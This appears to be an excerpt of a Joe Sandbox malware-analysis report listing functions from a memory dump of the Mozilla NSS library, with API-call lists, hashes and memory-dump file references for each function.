Opcode ID: 916beb1a5da28062df44cadf70198e0253a51dc0d29acc3978e379b5a911388a
Instruction ID: 3585bfceff72b72915320310aebc86ad68fc2ef9b4373877466b85e0823a2057
Opcode Fuzzy Hash: 916beb1a5da28062df44cadf70198e0253a51dc0d29acc3978e379b5a911388a
Instruction Fuzzy Hash: 69115532C006319BEB206E78CC0276F7B94EF033A9F050275E92E96150F72AD890C6DB

Function 6BA379B0 Relevance: 7.9, APIs: 5, Instructions: 427COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?), ref: 6BA379DA
sqlite3_value_text.NSS3(?), ref: 6BA379E9
sqlite3_value_text.NSS3(?), ref: 6BA379F6
sqlite3_value_text.NSS3(?), ref: 6BA37A05
sqlite3_result_error_code.NSS3(?,00000000), ref: 6BA37E05

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_result_error_code
String ID:
API String ID: 1222672844-0
Opcode ID: df0b7804fb26220adde068eefd457fbbd1e0aeb33725c4e6647ba2486f673def
Instruction ID: 751b23e4deac987120144f6edccb78a52d460c047926e6c61aa6f17392f09274
Opcode Fuzzy Hash: df0b7804fb26220adde068eefd457fbbd1e0aeb33725c4e6647ba2486f673def
Instruction Fuzzy Hash: EA024B75A08365DFDB14CF25C480E6AB7F2BF85354F1889ADE89587311EB39E881CB42

Function 6B9C2940 Relevance: 7.8, APIs: 6, Instructions: 327stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6B9C1360,00000000), ref: 6B9C2A19
memcpy.VCRUNTIME140(?,00000009,00000034,?,?,?,6B9C1360,00000000), ref: 6B9C2A45
memcpy.VCRUNTIME140(?,00000000,00000000), ref: 6B9C2A7C

Part of subcall function 6B9C2D50: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,141C084D,?,?,00000000,?,6B9C296E), ref: 6B9C2DA4

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6B9C2AF3
memcpy.VCRUNTIME140(?,00000009,0000000C,?,?,?,6B9C1360,00000000), ref: 6B9C2B71
memset.VCRUNTIME140(00000000,00000000,00000034), ref: 6B9C2B90

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: memcpystrlen$memset
String ID:
API String ID: 638109778-0
Opcode ID: 6ce264fc9ee05d999b63f445d67134126cd3afd0cc078af5e91b873f2a1c8c69
Instruction ID: 05263bd42c3fc5fdfbd7a69c3431c1fff3b557c51a8071015ea361ed9ff03f91
Opcode Fuzzy Hash: 6ce264fc9ee05d999b63f445d67134126cd3afd0cc078af5e91b873f2a1c8c69
Instruction Fuzzy Hash: F9C19371F002068BEB04CF65C9917ABB7B9BF89314F159169D9199B382D738E841CBE3

Function 6BA5CB60 Relevance: 7.8, APIs: 5, Instructions: 253COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE041,00000000,?,?,?,?,00000000,?,00000000,?,6BA657DF,00000000,?,00000002,6BA65840,?), ref: 6BA5CBB5
TlsGetValue.KERNEL32(?,?,?,?,?,?,00000000,?,00000000,?,6BA657DF,00000000,?,00000002,6BA65840,?), ref: 6BA5CC4A
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,?,00000000,?,00000000,?,6BA657DF,00000000,?,00000002,6BA65840), ref: 6BA5CC5E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6BA5CC98
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BA5CD50

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterErrorSectionValue
String ID:
API String ID: 1974170392-0
Opcode ID: 0a0b685cd5e57482091b11c4257f48973fcfcb0bac7c7c159e0c4226965239b0
Instruction ID: 1b4df99e608636008cf5aec66d9338c0832689f46bae974f2b8feed358a3675d
Opcode Fuzzy Hash: 0a0b685cd5e57482091b11c4257f48973fcfcb0bac7c7c159e0c4226965239b0
Instruction Fuzzy Hash: 6C919177D00218AFDF00CF68D981A9EBBB5FF49314F190064E815AB315E739EAA1CB91

Function 6B9DA910 Relevance: 7.7, APIs: 5, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 456d2ff8a096ea66444cfc4c1dc9b1748097c731cec025e09849fedfa664fa2c
Instruction ID: 893bae14845813b4f9a71e5eadddf3d41becc1a4853f0d6203a72396b16670b8
Opcode Fuzzy Hash: 456d2ff8a096ea66444cfc4c1dc9b1748097c731cec025e09849fedfa664fa2c
Instruction Fuzzy Hash: D491C031A006049FEB189F75D99AB7E37BAFB46300F04412DE60757241DB3EE896CB52

Function 6BA48B50 Relevance: 7.7, APIs: 5, Instructions: 218COMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3 ref: 6BA48B5C
CERT_DecodeAVAValue.NSS3 ref: 6BA48B67

Part of subcall function 6BA48E00: PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6BA48EED
Part of subcall function 6BA48E00: SEC_QuickDERDecodeItem_Util.NSS3(?,?,6BB718D0,?), ref: 6BA48F03
Part of subcall function 6BA48E00: PR_CallOnce.NSS3(6BBA2AA4,6BAA12D0), ref: 6BA48F19
Part of subcall function 6BA48E00: PL_FreeArenaPool.NSS3(?), ref: 6BA48F2B

SECITEM_CompareItem_Util.NSS3(?,?), ref: 6BA48D5C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6BA48D6B
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6BA48D76

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Item_Util$Decode$ArenaPoolValueZfree$CallCompareFreeInitOnceQuick
String ID:
API String ID: 185717074-0
Opcode ID: 0b2f8dd38a6241c10cbb34373fa26296834094dbcb1128f17eabedd40295e484
Instruction ID: a8044d25fa9f5c72dff2788e86e15ae5df22e826a539a0d72fb7ef24876a0828
Opcode Fuzzy Hash: 0b2f8dd38a6241c10cbb34373fa26296834094dbcb1128f17eabedd40295e484
Instruction Fuzzy Hash: 6E710571E416258FDF148A59A8507AEB7F2EB49321F194269D824E73C1D33D9C81D7E0

Function 6BA33A80 Relevance: 7.7, APIs: 5, Instructions: 201timeCOMMON

Download Yara Rule

APIs

_localtime64_s.API-MS-WIN-CRT-TIME-L1-1-0(?,?), ref: 6BA33AB1
PR_NormalizeTime.NSS3(?,?), ref: 6BA33B12
_localtime64_s.API-MS-WIN-CRT-TIME-L1-1-0(?,?,000F423F,?,000F4240,00000000), ref: 6BA33C25
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BA33CA7
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BA33CDB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: _errno_localtime64_s$NormalizeTime
String ID:
API String ID: 2940617157-0
Opcode ID: b059642dd7495c5ec414cd42774af7c0660b2f669654f9b88c67e478fd5699ee
Instruction ID: c7871a49fb617c5dca77227d2466a2dc46fad3c5322bf4ef106cd9b550843804
Opcode Fuzzy Hash: b059642dd7495c5ec414cd42774af7c0660b2f669654f9b88c67e478fd5699ee
Instruction Fuzzy Hash: 1771F372B086149FC718CF38CD8166AB7E6AFC9304F098A2DF945DB391E774E9458B81

Function 6BA15960 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 181stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(6BA16AC4,?,?,?,?,?,?,?), ref: 6BA159DD
memcpy.VCRUNTIME140(?,6BA16AC4,00000000,?,?,?,?,?,?,?,?), ref: 6BA15A0C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?), ref: 6BA15A3E
memcpy.VCRUNTIME140(?,?,00000000,?,?,?,?,?,?,?,?,?), ref: 6BA15A65

Strings

index '%q', xrefs: 6BA15B07

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: index '%q'
API String ID: 3412268980-1628151297
Opcode ID: 6584bb773d49e86cdbbc05a37293ab29547d2ed47e6e41b42268512429066bcc
Instruction ID: 0e5bf2ff8dc3d8e9944752def7bb9958af7b052748b2d69d5f52eaa3bbe53407
Opcode Fuzzy Hash: 6584bb773d49e86cdbbc05a37293ab29547d2ed47e6e41b42268512429066bcc
Instruction Fuzzy Hash: CD61BF71D082099FDF54CFA9D8C19EEB7B6BF48314F18402ADA1577350E739A981CBA1

Function 6BAABA20 Relevance: 7.7, APIs: 5, Instructions: 171memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,00000001,00000000,00000000,00000000,?,?,?,?,6BAA91C5), ref: 6BAABA5A

Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA10F3
Part of subcall function 6BAA10C0: EnterCriticalSection.KERNEL32(?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA110C
Part of subcall function 6BAA10C0: PL_ArenaAllocate.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1141
Part of subcall function 6BAA10C0: PR_Unlock.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1182
Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA119C

memset.VCRUNTIME140(00000000,00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,?,6BAA91C5), ref: 6BAABA70
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,00000000,?,?,?,?,6BAA91C5), ref: 6BAABA8A
PORT_ZAlloc_Util.NSS3(00000000,00000000,00000000,00000000,?,?,?,?,6BAA91C5), ref: 6BAABA95
free.MOZGLUE(00000000), ref: 6BAABB71

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtilValue$AllocateCriticalEnterErrorSectionUnlockfreememset
String ID:
API String ID: 3197566665-0
Opcode ID: bf36af64f5f18d411ebd72a30a00db8e77e4cb0064ab36f7541bbabb9d5f2b6b
Instruction ID: d83454796372881d3c27370b13750c8c377be7f83a9a2ede29fb91e0466663f3
Opcode Fuzzy Hash: bf36af64f5f18d411ebd72a30a00db8e77e4cb0064ab36f7541bbabb9d5f2b6b
Instruction Fuzzy Hash: F651057190235A9FEF10CF39C841BAB7BA5EF45314F5842A8D8149B291D37AD8D2CBB1

Function 6BAE7AC0 Relevance: 7.7, APIs: 5, Instructions: 153COMMON

Download Yara Rule

APIs

NSS_SecureMemcmp.NSS3(?,6BAC43B7,00000008,?,?,?,?,?,?,6BAC3FAF,00000001), ref: 6BAE7B3B
PR_SetError.NSS3(FFFFD01D,00000000), ref: 6BAE7B8E
PR_SetError.NSS3(FFFFD09C,00000000,?,?,?,?,?,?,?,?,?,?,?,?,6BAC3FAF,00000001), ref: 6BAE7BFE
PR_SetError.NSS3(FFFFD01D,00000000), ref: 6BAE7C14
PR_SetError.NSS3(FFFFD01D,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BAE7C30

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Error$MemcmpSecure
String ID:
API String ID: 1457316836-0
Opcode ID: 00614d95f396f733773f0b4ca8a9fb283f671cd372ecb34ad21d835d9db942c4
Instruction ID: a10cc0d9a428d8b2832a84f01b8fbb6b1467722fc63952a2cfa6d16813d1785a
Opcode Fuzzy Hash: 00614d95f396f733773f0b4ca8a9fb283f671cd372ecb34ad21d835d9db942c4
Instruction Fuzzy Hash: F9510870B00606BAEB189F34DD45BE6F768BF44708F004228E52956283EB7965E6E7F1

Function 6BA5DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6BA5AB10: DeleteCriticalSection.KERNEL32(D958E852,6BA61397,5B5F5EC0,?,?,6BA5B1EE,2404110F,?,?), ref: 6BA5AB3C
Part of subcall function 6BA5AB10: free.MOZGLUE(D958E836,?,6BA5B1EE,2404110F,?,?), ref: 6BA5AB49
Part of subcall function 6BA5AB10: DeleteCriticalSection.KERNEL32(5D5E6BC5), ref: 6BA5AB5C
Part of subcall function 6BA5AB10: free.MOZGLUE(5D5E6BB9), ref: 6BA5AB63
Part of subcall function 6BA5AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6BA5AB6F
Part of subcall function 6BA5AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6BA5AB76

TlsGetValue.KERNEL32(?,?,6BA5B266,6BA615C6,?,?,6BA615C6), ref: 6BA5DFDA
EnterCriticalSection.KERNEL32(?,?,?,6BA5B266,6BA615C6,?,?,6BA615C6), ref: 6BA5DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6BA5B266,6BA615C6,?,?,6BA615C6), ref: 6BA5E029
PK11_IsLoggedIn.NSS3 ref: 6BA5E046

Part of subcall function 6BA68F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6BA5DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6BA68FAF
Part of subcall function 6BA68F70: PR_Now.NSS3(?,?,00000002,?,?,?,6BA5DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6BA68FD1
Part of subcall function 6BA68F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6BA5DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6BA68FFA
Part of subcall function 6BA68F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6BA5DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6BA69013
Part of subcall function 6BA68F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6BA5DA9B,?,00000000,?,?,?,?,CE534353), ref: 6BA69042
Part of subcall function 6BA68F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6BA5DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6BA6905A
Part of subcall function 6BA68F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6BA5DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6BA69073
Part of subcall function 6BA68F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6BA5DA9B,?,00000000,?,?,?,?,CE534353), ref: 6BA69111

PR_Unlock.NSS3(?,?,?,?,6BA5B266,6BA615C6,?,?,6BA615C6), ref: 6BA5E149

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: e23b56b65660e2d187a1ea0af60074f06a3ff1ac3dff36fa350652d602229dbe
Instruction ID: 83ac49f5f6b946f3ca215a04e9d69092861da2646494688cf84b3e3e5345e58a
Opcode Fuzzy Hash: e23b56b65660e2d187a1ea0af60074f06a3ff1ac3dff36fa350652d602229dbe
Instruction Fuzzy Hash: B0512672610611DFDF109F28C58472ABBF5FF44315F0988ADD8998B341E739EA91CBA2

Function 6BA5C9E0 Relevance: 7.6, APIs: 5, Instructions: 132COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,00000000), ref: 6BA5CA21
EnterCriticalSection.KERNEL32(0000001C), ref: 6BA5CA35
PR_Unlock.NSS3(00000000), ref: 6BA5CA66
PR_SetError.NSS3(FFFFE041,00000000,00000000,?,?,00000000), ref: 6BA5CA77
PR_Unlock.NSS3(00000000), ref: 6BA5CAFC

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterErrorSectionValue
String ID:
API String ID: 1974170392-0
Opcode ID: 07cccf7e0a406aa173e447e396f72ee4260f94e4ef0c13215b6fdbaf49e4e8e0
Instruction ID: e1ee03e601e0e7481e7713d820af8a739cff7828c1effd8d0768537eee0abb2b
Opcode Fuzzy Hash: 07cccf7e0a406aa173e447e396f72ee4260f94e4ef0c13215b6fdbaf49e4e8e0
Instruction Fuzzy Hash: 9D41C176D00205AFEF00DF24D981A6A7BB5EF45344F094064EE19A7305EB39DAA1CBE1

Function 6BAB4A00 Relevance: 7.6, APIs: 5, Instructions: 126threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6BAB4A8D
CERT_SaveSMimeProfile.NSS3(00000000,00000000,00000000), ref: 6BAB4B01
CERT_DestroyCertificate.NSS3(00000000), ref: 6BAB4B12
PR_SetError.NSS3(?,00000000), ref: 6BAB4B1F
CERT_FindCertByIssuerAndSN.NSS3(?,?), ref: 6BAB4B35

Part of subcall function 6BAB04A0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,00000000), ref: 6BAB04B9
Part of subcall function 6BAB04A0: memcmp.VCRUNTIME140(?,?,?,?,?,?,?,?,00000000), ref: 6BAB050A
Part of subcall function 6BAB04A0: memcmp.VCRUNTIME140(?,00000000,?), ref: 6BAB0545

Part of subcall function 6BAB52E0: PORT_NewArena_Util.NSS3(00000400,6BAB4A57,?,00000000), ref: 6BAB52F7
Part of subcall function 6BAB52E0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6BB7301C,6BAB4A57,?,6BAB4A57,?,00000000), ref: 6BAB5312
Part of subcall function 6BAB52E0: CERT_FindCertByIssuerAndSN.NSS3(?,?,?,?,?,?,?,6BAB4A57,?,00000000), ref: 6BAB5327
Part of subcall function 6BAB52E0: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,6BAB4A57,?,00000000), ref: 6BAB5334

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Find$Arena_CertIssuermemcmp$CertificateCurrentDecodeDestroyErrorFreeItem_MimeProfileQuickSaveTag_Thread
String ID:
API String ID: 3052039812-0
Opcode ID: b09d2b69299426b83835313d2a90b29d3572f4c199205dfc608ae85b7039e18c
Instruction ID: 501d5631148c48b223f9d42eb87f3935ac6e3975be2749002d4cea6539531710
Opcode Fuzzy Hash: b09d2b69299426b83835313d2a90b29d3572f4c199205dfc608ae85b7039e18c
Instruction Fuzzy Hash: BA3182B1E002106BEF149F35AD41B2B3BACAF45719F0900B8DD64DB242EB3EC995C7A5

Function 6BA86AE0 Relevance: 7.6, APIs: 6, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6BA86910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6BA86943
Part of subcall function 6BA86910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6BA86957
Part of subcall function 6BA86910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6BA86972
Part of subcall function 6BA86910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6BA86983
Part of subcall function 6BA86910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6BA869AA
Part of subcall function 6BA86910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6BA869BE
Part of subcall function 6BA86910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6BA869D2
Part of subcall function 6BA86910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6BA869DF
Part of subcall function 6BA86910: NSSUTIL_ArgStrip.NSS3(?), ref: 6BA86A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000,6BA8781D,?,6BA7BE2C,?,00000000,00000000), ref: 6BA86B66
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,6BA8781D,?,6BA7BE2C,?,00000000,00000000), ref: 6BA86B88
